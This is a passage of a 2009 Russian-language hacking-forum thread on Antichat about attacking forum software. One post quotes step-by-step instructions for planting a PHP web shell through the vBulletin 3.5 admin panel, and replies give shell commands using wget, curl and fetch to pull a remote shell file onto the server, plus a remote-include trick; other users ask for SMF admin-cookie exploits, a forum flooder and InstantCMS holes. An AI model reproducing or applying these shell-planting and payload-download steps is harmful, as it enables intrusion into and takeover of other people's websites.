ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #181  
Старый 18.03.2009, 09:27
Аватар для Tigger
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от FTSE100  
А для скули можно как нибудь использывать?
И ещё что это даёт когда знаеш путь к серверу? как это использовать? напиши если не трудно.
Конечно можно! Чтобы залить шелл, надо знать этот самый реальный путь =)
 
Ответить с цитированием

SMF 1.1.5
  #182  
Старый 01.04.2009, 13:26
Аватар для Theone
Theone
Новичок
Регистрация: 16.07.2006
Сообщений: 13
Провел на форуме:
95462

Репутация: 0
По умолчанию SMF 1.1.5

есть ли работающие уязвимости на SMF 1.1.5 позволяющие узнать куки или пароль админа?
 
Ответить с цитированием

  #183  
Старый 02.04.2009, 04:07
Аватар для superalex
superalex
Новичок
Регистрация: 01.04.2009
Сообщений: 1
Провел на форуме:
11623

Репутация: 0
По умолчанию

Здравствуйте !!!
Какой на данный момент какой самый безопасный форум ? не важно платный либо бесплатный , желательно также с авто обновлением !!!
что думаете о ipb последней версии?

Последний раз редактировалось superalex; 02.04.2009 в 04:27..
 
Ответить с цитированием

  #184  
Старый 02.04.2009, 09:48
Аватар для dyx
dyx
Познающий
Регистрация: 05.04.2005
Сообщений: 46
Провел на форуме:
77505

Репутация: 1
По умолчанию

Цитата:
Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

Как через этот шел залить файл на сервер???
 
Ответить с цитированием

  #185  
Старый 02.04.2009, 09:54
Аватар для laedafess
laedafess
Познающий
Регистрация: 11.02.2009
Сообщений: 98
Провел на форуме:
1446969

Репутация: 169
По умолчанию

Код:
www.xz.сom/forumpath/faq.php?cmd=wget http://site.com/shell.txt -O shell.php
or
Код:
www.xz.сom/forumpath/faq.php?cmd=curl http://site.com/shell.txt > shell.php
or
Код:
www.xz.сom/forumpath/faq.php?cmd=fetch http://site.com/shell.txt -o shell.php
 
Ответить с цитированием

  #186  
Старый 03.04.2009, 08:00
Аватар для dyx
dyx
Познающий
Регистрация: 05.04.2005
Сообщений: 46
Провел на форуме:
77505

Репутация: 1
По умолчанию

Цитата:
Сообщение от laedafess  
Код:
www.xz.сom/forumpath/faq.php?cmd=wget http://site.com/shell.txt -O shell.php
or
Код:
www.xz.сom/forumpath/faq.php?cmd=curl http://site.com/shell.txt > shell.php
or
Код:
www.xz.сom/forumpath/faq.php?cmd=fetch http://site.com/shell.txt -o shell.php

Косяк...

Файл создается на сервере, но пустой, как туда код то запихнуть???

и еще

на сервере включен
allow_url_fopen On On

если это вставить
<? include('http://путь_к_шеллу_.php') ?>

что будет??? как вызвать сам шелл

Последний раз редактировалось dyx; 03.04.2009 в 08:07..
 
Ответить с цитированием

  #187  
Старый 04.04.2009, 15:44
Аватар для Ecu
Ecu
Новичок
Регистрация: 28.03.2009
Сообщений: 1
Провел на форуме:
5420

Репутация: 0
По умолчанию

Приветствую всех, есть флудер для форумов Вблювотень ?
Есть один форумчик без лимита по времени для отправки мессаг.
Нужно немного пофлудить)
 
Ответить с цитированием

  #188  
Старый 04.04.2009, 16:04
Аватар для -m0rgan-
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Халявных ниразу не видил, только комерческие...
 
Ответить с цитированием

  #189  
Старый 05.04.2009, 21:42
Аватар для cybertitan
cybertitan
Новичок
Регистрация: 02.01.2009
Сообщений: 1
Провел на форуме:
3514

Репутация: 0
По умолчанию

Приветствую. Какие уязвимости, кроме описанных на официальном сайте, есть в InstantCMS ? Благодарю за ответы.
 
Ответить с цитированием

  #190  
Старый 06.04.2009, 23:49
Аватар для S[N]EP
S[N]EP
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме:
789539

Репутация: 53
По умолчанию

помогите плз определить какой єто движок? http://la2titan.ru/forum/
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ *NIX ] Задай вопрос - получи ответ. Xszz *nix 1547 15.06.2010 15:41
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ